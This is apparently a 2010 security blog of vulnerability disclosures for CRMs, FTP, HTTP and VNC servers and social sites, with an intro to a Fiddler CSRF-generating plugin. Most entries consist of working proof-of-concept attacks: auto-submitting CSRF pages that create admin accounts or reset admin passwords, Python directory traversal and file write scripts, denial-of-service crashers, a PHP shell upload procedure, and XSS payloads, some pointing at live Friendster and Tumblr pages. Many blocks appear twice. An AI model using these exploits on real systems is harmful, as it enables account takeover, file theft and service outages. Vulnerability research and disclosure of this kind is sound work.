Download
Overview
Fiddler XSRF Inspector is a plugin for Fiddler 2 that extracts cross-site request forgery attacks from HTTP requests.
Installation
Copy FiddlerXSRF.dll to the Fiddler 2 Inspectors folder, generally %ProgramFiles%\Fiddler2\Inspectors
Instructions
1) Capture the request that is going to be used to create a cross-site request forgery attack.
2) Navigate to the XSRF tab under inspectors to see the generated HTML. If the request uses the POST method, the option to convert it to GET will be available.
3) Click the Test button and observe the results.
Change Log
1.0
Initial Release
Sunday, May 30, 2010
SugarCRM Community Edition 5.5.2 Cross-site Request Forgery
A cross-site request forgery vulnerability in SugarCRM Community Edition 5.5.2 can be exploited to create a new admin.
PoC
PoC
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://192.168.1.4/sugarcrm/index.php">
<input type="hidden" name="display_tabs_def" value="display_tabs[]=Home&display_tabs[]=Dashboard&display_tabs[]=Calendar&display_tabs[]=Activities&display_tabs[]=Leads&display_tabs[]=Contacts&display_tabs[]=Accounts&display_tabs[]=Opportunities&display_tabs[]=Emails&display_tabs[]=Campaigns&display_tabs[]=Cases&display_tabs[]=Documents&" />
<input type="hidden" name="hide_tabs_def" value="" />
<input type="hidden" name="remove_tabs_def" value="" />
<input type="hidden" name="module" value="Users" />
<input type="hidden" name="record" value="" />
<input type="hidden" name="action" value="Save" />
<input type="hidden" name="page" value="EditView" />
<input type="hidden" name="return_module" value="Users" />
<input type="hidden" name="return_id" value="" />
<input type="hidden" name="return_action" value="DetailView" />
<input type="hidden" name="password_change" value="true" />
<input type="hidden" name="required_password" value="1" />
<input type="hidden" name="user_name" value="" />
<input type="hidden" name="type" value="" />
<input type="hidden" name="is_group" value="0" />
<input type="hidden" name="portal_only" value="" />
<input type="hidden" name="is_admin" value="1" />
<input type="hidden" name="is_current_admin" value="1" />
<input type="hidden" name="required_email_address" value="0" />
<input type="hidden" name="sugar_user_name" value="new_admin" />
<input type="hidden" name="unique_name" value="" />
<input type="hidden" name="first_name" value="" />
<input type="hidden" name="status" value="Active" />
<input type="hidden" name="last_name" value="a" />
<input type="hidden" name="UserType" value="Administrator" />
<input type="hidden" name="old_password" value="" />
<input type="hidden" name="new_password" value="Password1" />
<input type="hidden" name="confirm_new_password" value="Password1" />
<input type="hidden" name="emailAddressWidget" value="1" />
<input type="hidden" name="emailAddress0" value="" />
<input type="hidden" name="emailAddressPrimaryFlag" value="emailAddress0" />
<input type="hidden" name="emailAddressVerifiedFlag0" value="true" />
<input type="hidden" name="emailAddressVerifiedValue0" value="" />
<input type="hidden" name="useEmailWidget" value="true" />
<input type="hidden" name="email_link_type" value="sugar" />
<input type="hidden" name="mail_smtpuser" value="" />
<input type="hidden" name="mail_smtppass" value="" />
<input type="hidden" name="employee_status" value="Active" />
<input type="hidden" name="title" value="" />
<input type="hidden" name="phone_work" value="" />
<input type="hidden" name="department" value="" />
<input type="hidden" name="phone_mobile" value="" />
<input type="hidden" name="reports_to_name" value="" />
<input type="hidden" name="reports_to_id" value="" />
<input type="hidden" name="phone_other" value="" />
<input type="hidden" name="phone_fax" value="" />
<input type="hidden" name="phone_home" value="" />
<input type="hidden" name="messenger_type" value="" />
<input type="hidden" name="messenger_id" value="" />
<input type="hidden" name="address_street" value="" />
<input type="hidden" name="address_city" value="" />
<input type="hidden" name="address_state" value="" />
<input type="hidden" name="address_postalcode" value="" />
<input type="hidden" name="address_country" value="" />
<input type="hidden" name="description" value="" />
<input type="hidden" name="receive_notifications" value="12" />
<input type="hidden" name="export_delimiter" value="," />
<input type="hidden" name="mailmerge_on" value="0" />
<input type="hidden" name="reminder_time" value="60" />
<input type="hidden" name="default_export_charset" value="ISO-8859-1" />
<input type="hidden" name="user_max_tabs" value="12" />
<input type="hidden" name="user_max_subtabs" value="12" />
<input type="hidden" name="user_subpanel_tabs" value="on" />
<input type="hidden" name="dateformat" value="m/d/Y" />
<input type="hidden" name="currency" value="-99" />
<input type="hidden" name="timeformat" value="H:i" />
<input type="hidden" name="default_currency_significant_digits" value="2" />
<input type="hidden" name="timezone" value="Africa/Abidjan" />
<input type="hidden" name="ut" value="0" />
<input type="hidden" name="num_grp_sep" value="," />
<input type="hidden" name="default_locale_name_format" value="s f l" />
<input type="hidden" name="dec_sep" value="." />
<input type="hidden" name="calendar_publish_key" value="" />
<input type="hidden" name="outboundtest_from_address" value="" />
</form>
</body>
</html>
Thursday, May 27, 2010
Core FTP Server 1.0.343 Directory Traversal
It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a specially crafted URL.
Exploit
/...
PoC
list_root.py
Exploit
/...
PoC
list_root.py
import sys, socket, re
host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'
buffer_size = 8192
timeout = 8
def recv(s):
resp = ''
while 1:
r = s.recv(buffer_size)
if not r: break
resp += r
return resp
def list_root():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(timeout)
print s.recv(buffer_size)
s.send('USER ' + user + '\r\n')
print s.recv(buffer_size)
s.send('PASS ' + password + '\r\n')
print s.recv(buffer_size) + s.recv(buffer_size)
s.send('CWD ' + '/...' * 16 + '\r\n')
resp = s.recv(buffer_size)
print resp
if resp[:3] == '250':
s.send('PASV\r\n')
resp = s.recv(buffer_size)
print resp
pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)
if (pasv_info == None):
print 'Invalid PASV response: ' + resp
return
s.send('LIST\r\n')
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
s2.settimeout(timeout)
print recv(s2)
s.close()
except Exception:
print sys.exc_info()
list_root()
Home FTP Server 1.10.2.143 Directory Traversal
A directory traversal vulnerability in Home FTP Server 1.10.2.143 can be exploited to read, write, and delete files outside of the ftp root directory.
Exploit
RETR [Drive Letter]:\[Filename]
STOR [Drive Letter]:\[Filename]
DELE [Drive Letter]:\[Filename]
PoC
get_boot_ini.py
Exploit
RETR [Drive Letter]:\[Filename]
STOR [Drive Letter]:\[Filename]
DELE [Drive Letter]:\[Filename]
PoC
get_boot_ini.py
import sys, socket, re
host = 'localhost'
port = 21
user = 'anonymous'
password = ''
timeout = 8
buffer_size = 8192
def get_data_port(s):
s.send('PASV\r\n')
resp = s.recv(buffer_size)
pasv_info = re.search(u'(\d+),' * 5 + u'(\d+)', resp)
if (pasv_info == None):
raise Exception(resp)
return int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))
def retr_file(s, filename):
pasv_port = get_data_port(s)
if (pasv_port == None):
return None
s.send('RETR ' + filename + '\r\n')
resp = s.recv(8192)
if resp[:3] != '150': raise Exception(resp)
print resp
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, pasv_port))
s2.settimeout(2.0)
resp = s2.recv(8192)
s2.close()
return resp
def get_file(filename):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(timeout)
print s.recv(buffer_size)
s.send('USER ' + user + '\r\n')
print s.recv(buffer_size)
s.send('PASS ' + password + '\r\n')
print s.recv(buffer_size)
print retr_file(s, filename)
print s.recv(buffer_size)
s.close()
get_file('c:\\boot.ini')
Wednesday, May 26, 2010
Brekeke PBX 2.4.4.8 Cross-site Request Forgery
A cross-site request forgery vulnerability in Brekeke PBX 2.4.4.8 can be exploited via GET request to change the admin password.
PoC
PoC
<html>
<body>
<img src="http://localhost:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" />
</body>
</html>
Labels:
Brekeke PBX 2.4.4.8,
Cross-site Request Forgery,
CSRF,
hacking,
security,
XSRF
Pacific Timesheet 6.74 Cross-site Request Forgery
A cross-site request forgery vulnerability in Pacific Timesheet 6.74 can be exploited via GET request to create a new admin.
PoC
PoC
<html>
<body>
<img src="http://localhost/timesheet/user/user-set.do?userId=0&flag=&cloneId=&wizard-page=1&loginX=new_admin&passwordX=password&passwordConfirmX=password&firstName=&lastName=a&uid=&status=A&roleId=1&type=&policyId=1&jobTitle=&groupId=0&billRateId=0&billRate=&payRateId=0&payRate=&salary=&firstDay=5%2F22%2F2010&lastDay=&scheduledDay%5B1%5D=on&scheduledDay%5B2%5D=on&scheduledDay%5B3%5D=on&scheduledDay%5B4%5D=on&scheduledDay%5B5%5D=on&scheduledHours=&scheduledHoursPerDay=&scheduledIn=&scheduledOut=&email=&phone=&mobile=&fax=&timeSheetId=1&carryForward=1&timeFormat=0&locale=en_US&timeZone=America%2FNew_York&apprv0Id=0&apprv0bId=0" />
</body>
</html>
Labels:
Cross-site Request Forgery,
CSRF,
hacking,
Pacific Timesheet 6.74,
security,
XSRF
Home FTP Server 1.10.2.143 Cross-site Request Forgery
A cross-site request forgery vulnerability in Home FTP Server 1.10.2.143 can be exploited via GET request to create an admin account with all permissions (read, write, delete, etc.)
PoC
PoC
<html>
<body>
<img src="http://localhost/?addnewmember=new_user&pass=Password1&home=c:\&allowdownload=on&allowupload=on&allowrename=on&allowdeletefile=on&allowchangedir=on&allowcreatedir=on&allowdeletedir=on&virtualdir=&filecontrol=" />
</body>
</html>
Sunday, May 23, 2010
Tele Data's Contact Management Server 0.9 Arbitrary File Write
An arbitrary file write vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to write to the local file system of the server.
PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Save&SQL=hello%20world&FileName=..\..\..\..\..\..\..\..\..\x.txt
PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Save&SQL=hello%20world&FileName=..\..\..\..\..\..\..\..\..\x.txt
Tele Data's Contact Management Server 0.9 Local File Inclusion
A local file inclusion vulnerability in Tele Data's Contact Management Server 0.9 can be exploited to read files from the server file system.
PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Load&FileName=..\..\..\..\..\..\..\..\..\boot.ini
PoC
Login as an administrator and navigate to http://localhost/command.html?Cmd=SQL_Load&FileName=..\..\..\..\..\..\..\..\..\boot.ini
Open Forum Server 2.2 b005 Arbitrary File Write
An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be exploited to write to the local file system of the server.
Exploit
Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder.
PoC
Exploit
Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder.
PoC
import sys, socket
host = 'localhost'
port = 80
def send_request(request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(32) # sometimes it takes a while
s.connect((host, port))
s.send(request)
response = s.recv(8192) + s.recv(8192) # a hack within a hack
return response
def write_file():
try:
content = '----x--\r\n'\
'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\
'Content-Type: application/octet-stream\r\n\r\n'\
'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\
'data = "hello, world";\r\n'\
'user = transaction.getUser();\r\n'\
'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\
'transaction.sendPage("File Written");\r\n\r\n'\
'----x----\r\n'
response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Content-Type: multipart/form-data; boundary=--x--\r\n'
'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)
if 'HTTP/1.1 302 Redirect' not in response:
print 'Error writing get.sjs'
return
else: print 'get.sjs created'
response = send_request('GET OpenForum HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
if 'File Written' not in response:
print 'Error writing to root'
return
else: print 'x.txt created in root'
except Exception:
print sys.exc_info()
write_file()
Friday, May 21, 2010
vtiger CRM 5.2.0 Shell Upload
A shell upload vunlerability in vtiger CRM 5.2.0 can be exploited to execute arbitrary PHP.
Exploit
Upload a PHP file and append a backslash to the filename_hidden value.
PoC
Exploit
Upload a PHP file and append a backslash to the filename_hidden value.
PoC
- Login and navigate to http://localhost/index.php?action=upload&module=uploads and upload a PHP file.
- Capture the packet using a debugging proxy, append a backslash to the filename_hidden value, and submit it. e.g.
------WebKitFormBoundaryihWhA69lH4hKrGBy
Content-Disposition: form-data; name="filename_hidden"
shell.php\ - Navigate to the uploaded file http://localhost/storage/{Year}/{Month}/{Week}/{file} e.g. http://localhost/storage/2010/May/week3/shell.php
Labels:
hacking,
security,
Shell Upload,
vtiger CRM 5.2.0
vtiger CRM 5.2.0 XSRF
A cross-site request forgery vunlerability in vtiger CRM 5.2.0 can be exploited to create an new admin. The form values can also be sent via GET request, but the resulting user does not have admin privileges.
PoC:
PoC:
<html>
<body onload="document.forms[0].submit()">
<form name="EditView" method="post" action="http://localhost/index.php">
<input type="hidden" name="module" value="Users" />
<input type="hidden" name="mode" value="create" />
<input type="hidden" name="action" value="Save" />
<input type="hidden" name="user_name" value="new_user" />
<input type="hidden" name="is_admin" value="on" />
<input type="hidden" name="user_password" value="new_password" />
<input type="hidden" name="confirm_password" value="new_password" />
<input type="hidden" name="email1" value="test@test.com" />
<input type="hidden" name="status" value="Active" />
</form>
</body>
</html>
Labels:
Cross-site Request Forgery,
hacking,
security,
XSRF
Monday, May 17, 2010
Fortitude HTTP 1.0.1.6 Denial-of-Service
Fortitude HTTP 1.0.1.6 crashes upon receving an HTTP request containing a relative resource path with an excessive number of slashes.
Exploit
GET / * 8192 HTTP 1.1
Host: localhost
PoC
Exploit
GET / * 8192 HTTP 1.1
Host: localhost
PoC
import socket
host ='localhost'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET ' + '/' * 8192 + ' HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
Labels:
Denial-of-Service,
DoS Attack,
Fortitude HTTP,
hacking,
http server
DataTrack System 3.5 Persistent XSS / Directory Disclosure / Configuration Disclosure / Source Disclosure
Persistent XSS
User submitted data is not HTML entity encoded before it is rendered.
Exploit
Login using the web client and submit a request with summary set to <script>alert(0)</script>. Navigate to My History to see the result.
Directory Disclosure
The contents of the root directory can be listed by using a specially crafted URL.
Exploit
%u0085
%u00A0
PoC
http://localhost/%u0085/
http://localhost/%u00A0/
Configuration / Source Disclosure
Forbidden file types (e.g. ascx, config) can be downloaded by appending a backslash to the filename.
Exploit
GET /web.config\ HTTP/1.1
Host: localhost
PoC
User submitted data is not HTML entity encoded before it is rendered.
Exploit
Login using the web client and submit a request with summary set to <script>alert(0)</script>. Navigate to My History to see the result.
Directory Disclosure
The contents of the root directory can be listed by using a specially crafted URL.
Exploit
%u0085
%u00A0
PoC
http://localhost/%u0085/
http://localhost/%u00A0/
Configuration / Source Disclosure
Forbidden file types (e.g. ascx, config) can be downloaded by appending a backslash to the filename.
Exploit
GET /web.config\ HTTP/1.1
Host: localhost
PoC
import socket
host ='localhost'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /web.config\ HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')
while 1:
response = s.recv(8192)
if not response: break
print response
Saturday, May 15, 2010
Open Forum Server 2.2 b005 Directory Traversal
It's possible to navigate the local file system of a server running Open Forum Server 2.2 b005 by using a specially crafted URL.
Exploit:
%2F../
%5C../
%5C
PoC:
http://localhost/%5C../%5C../%5C../%5C../%5C../%5C../%5C../boot.ini
http://localhost/Admin/Users/Admin/private%5Cpassword.txt
Note: the percent encoded backslash in the second second url bypasses authentication. However, the response is malformed so a debugging proxy may be necessary to view it.
Exploit:
%2F../
%5C../
%5C
PoC:
http://localhost/%5C../%5C../%5C../%5C../%5C../%5C../%5C../boot.ini
http://localhost/Admin/Users/Admin/private%5Cpassword.txt
Note: the percent encoded backslash in the second second url bypasses authentication. However, the response is malformed so a debugging proxy may be necessary to view it.
Labels:
directory traversal,
hacking,
http server,
Open Forum Server,
security
Zipserver 1.0 Directory Traversal
It's possible to navigate the local file system of a server running Zipserver 1.0 by using a specially crafted URL.
Exploit:
..%2F/
..%5C/
PoC:
http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/
http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/
Exploit:
..%2F/
..%5C/
PoC:
http://localhost/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/
http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C/
Labels:
directory traversal,
hacking,
http server,
security,
Zipserver
The Uniform Server 5.6.5 XSRF
A cross-site request forgery vunlerability in The Uniform Server 5.6.5 web UI can be exploited to change various administrative passwords.
PoC:
PoC:
<html>
<head>
<script type="text/javascript">
window.onload = function() {
var url = 'http://localhost/apanel';
var xsrs = [
{
"action": url + "/apsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "apuser", "value": "new_username" },
{ "name": "appass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/psetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "puser", "value": "new_username" },
{ "name": "ppass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/sslpsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "puser", "value": "new_username" },
{ "name": "ppass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
},
{
"action": url + "/mqsetup.php",
"method": "post",
"submitCall": "document.forms[0].submit.click()",
"fields": [
{ "name": "qpass", "value": "new_password" },
{ "name": "submit", "value": "Change", "type": "submit" }
]
}
];
for (var x = 0; x < xsrs.length; x++) {
var attackFrame = document.createElement('iframe');
var html = '<html><body><form action="' + xsrs[x].action + '" ' +
'method="' + xsrs[x].method + '">';
for (var y = 0; y < xsrs[x].fields.length; y++) {
html += '<input type="' +
(xsrs[x].fields[y].type != null ?
xsrs[x].fields[y].type : 'hidden') + '" ' +
'name="' + xsrs[x].fields[y].name + '" ' +
'value="' + xsrs[x].fields[y].value + '" />';
}
html += '</form><script>' + xsrs[x].submitCall + '\x3c/script></body></html>';
document.body.appendChild(attackFrame);
attackFrame.contentDocument.write(html);
}
}
</script>
</head>
<body>
</body>
</html>
Labels:
Cross-site Request Forgery,
CSRF,
hacking,
security,
The Uniform Server,
XSRF
Thursday, May 13, 2010
ProjectForum 6.5.2.2978 XSRF / XSS
A cross-site request forgery vunlerability in ProjectForum 6.5.2.2978 can be exploited to reconfigure the server (e.g. admin password, create group password, port) with a malicious GET request.
PoC:
Several reflected and persistent cross-site scripting vulnerabilities are present.
PoC:
Reflected:
http://localhost/1/admin/newpage.html?name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Persistent:
Edit a page and add the following
http://"onmouseover="alert(0)"style="position:absolute;top:0;left:0;width:9999px;height:9999px;
PoC:
<html>
<body>
<img src="http://localhost/admin/site.html?adminpasswd=new_password&adminpasswd2=new_password&port=80&theme=default&createpasswd=new_password&createpasswd2=new_password&action=Save+Changes&formSubmitted=1" />
</body>
</html>
Several reflected and persistent cross-site scripting vulnerabilities are present.
PoC:
Reflected:
http://localhost/1/admin/newpage.html?name=%22%3E%3Cscript%3Ealert(0)%3C/script%3E
Persistent:
Edit a page and add the following
http://"onmouseover="alert(0)"style="position:absolute;top:0;left:0;width:9999px;height:9999px;
Abyss Web Server X1 XSRF
A cross-site request forgery vunlerability in the Abyss Web Server X1 management console can be exploited to change both the username and password of the logged in user.
PoC:
PoC:
<html>
<body onload="document.forms[0].submit()">
<form method="post" action="http://localhost:9999/console/credentials">
<input type="hidden" name="/console/credentials/login"
value="new_username" />
<input type="hidden" name="/console/credentials/password/$pass1"
value="new_password" />
<input type="hidden" name="/console/credentials/password/$pass2"
value="new_password" />
<input type="hidden" name="/console/credentials/bok"
value="%C2%A0%C2%A0OK%C2%A0%C2%A0" />
</form>
</body>
</html>
Labels:
Abyss Web Server,
Cross-site Request Forgery,
CSRF,
hacking,
security,
XSRF
Tuesday, May 11, 2010
Zervit 0.4 Directory Traversal
It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially crafted HTTP request. The resource path must be relative and the slashes unencoded.
Exploit:
GET /\../ HTTP/1.1
Host: localhost
or
GET //../ HTTP/1.1
Host: localhost
PoC:
zervit0.4-traversal.py
Exploit:
GET /\../ HTTP/1.1
Host: localhost
or
GET //../ HTTP/1.1
Host: localhost
PoC:
zervit0.4-traversal.py
import sys, struct, socket
host ='localhost'
port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'
'Host: ' + host + '\r\n\r\n')
while 1:
response = s.recv(8192)
if not response: break
print response
Labels:
ASCII,
directory traversal,
hacking,
http server,
Python,
security,
Zervit
Sunday, May 9, 2010
Mereo 1.9.1 Directory Traversal
It's possible to navigate the local file system of a server running Mereo 1.9.1 by using a specially crafted URL.
Exploit: %80../
PoC: http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../
Exploit: %80../
PoC: http://localhost/%80../%80../%80../%80../%80../%80../%80../%80../
Labels:
ASCII,
directory traversal,
hacking,
http server,
Mereo,
security
Saturday, May 8, 2010
Tumblr.com Persistent XSS
onmouseover attributes added to user submitted markup via HTTP proxy are not stripped.
Exploit: Create a new link, add a description, and set the HTML to <h1>test</h1>. Submit the form and capture the request using an HTTP proxy (e.g. Fiddler). Change the post[three] value to <h1 onmouseover="alert(0)">test</h1> and resume the request.
PoC: http://asdfffffffff.tumblr.com/
Exploit: Create a new link, add a description, and set the HTML to <h1>test</h1>. Submit the form and capture the request using an HTTP proxy (e.g. Fiddler). Change the post[three] value to <h1 onmouseover="alert(0)">test</h1> and resume the request.
PoC: http://asdfffffffff.tumblr.com/
Thursday, May 6, 2010
Friendster.com Persistent XSS
Only one sanitization pass is performed on user submited data.
Exploit: <<z>script>alert(0)<<z>/script>
PoC: http://profiles.friendster.com/31202727
Exploit: <<z>script>alert(0)<<z>/script>
PoC: http://profiles.friendster.com/31202727
Labels:
friendster.com,
hacking,
persistent xss,
security,
social networking,
type 2 xss
Zolsoft Office Server Free Edition 2010.0502 XSRF
A cross-site request forgery vunlerability in the Zoloft Office Server Web UI can be exploited to change the password of a user.
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost/options3.htm" method="post">
<input type="hidden" name="PassField1" value="new_password" />
<input type="hidden" name="PassField2" value="new_password" />
</form>
</body>
</html>
Labels:
Cross-site Request Forgery,
CSRF,
hacking,
security,
XSRF
Sunday, May 2, 2010
RealVNC VNC Server Free Edition 4.1.3 Denial Of Service
Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the exception shown below. Note: while the vulnerability is present regardless of authentication, for the sake of simplicity this script only works on servers configured to run with no authentication.
winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written (0x00425BE4 -> FFFFFF00)
vncserver413-DoS.py
winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not be written (0x00425BE4 -> FFFFFF00)
vncserver413-DoS.py
import sys, struct, socket
host ='localhost'
port = 5900
def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)
print 'Connected'
try:
b = s.recv(8192)
print 'ProtocolVersion Received'
s.send(b)
print 'ProtocolVersion Sent'
b = s.recv(8192)
print 'Security Received'
s.send('\x01')
print 'Security Sent'
b = s.recv(8192)
print 'SecurityResult Received'
if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.\n\nThe server must be set '\
'to No Authentication for this to work, otherwise '\
'you \'ll need to write the necessary client side '\
'authentication code yourself.'
return
s.send('\x01')
print 'ClientInit Sent'
b = s.recv(8192)
print 'ServerInit Received'
text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + '\xAA' * text_len
while 1:
s.send('\x06\x00\x00\x00' + text_str)
print 'ClientCutText Sent'
except Exception:
print 'Connection closed'
except Exception:
print 'Couldn\'t connect'
crash_vnc_server()
Friendster.com Persistent XSS
Data submitted via album description and a few other fields is not properly escaped before being rendered into javascript.
Exploit: \";alert(0);//
PoC: http://www.friendster.com/viewalbums.php?uid=120927091
Exploit: \";alert(0);//
PoC: http://www.friendster.com/viewalbums.php?uid=120927091
ddrLPD 1.0 Denial Of Service
Sending packets composed of bytes between 1 and 5 (inclusive) causes ddrLPD 1.0 to crash with the exception below.
The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)
ddrLPD10-DoS.py
The instruction at 0x50431A referenced memory at 0x0. The memory could not be read (0x0050431A -> 00000000)
ddrLPD10-DoS.py
import socket
host ='localhost'
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 515))
s.settimeout(1.0)
print 'connected',
try:
while 1:
s.send('\x01'*8192)
print '.',
except Exception:
print '\nconnection closed'
pass
except Exception:
print 'couldn\'t connect'
Labels:
ddrLPD 1.0,
Denial Of Service,
DoS,
hacking,
Python,
security
Subscribe to:
Posts (Atom)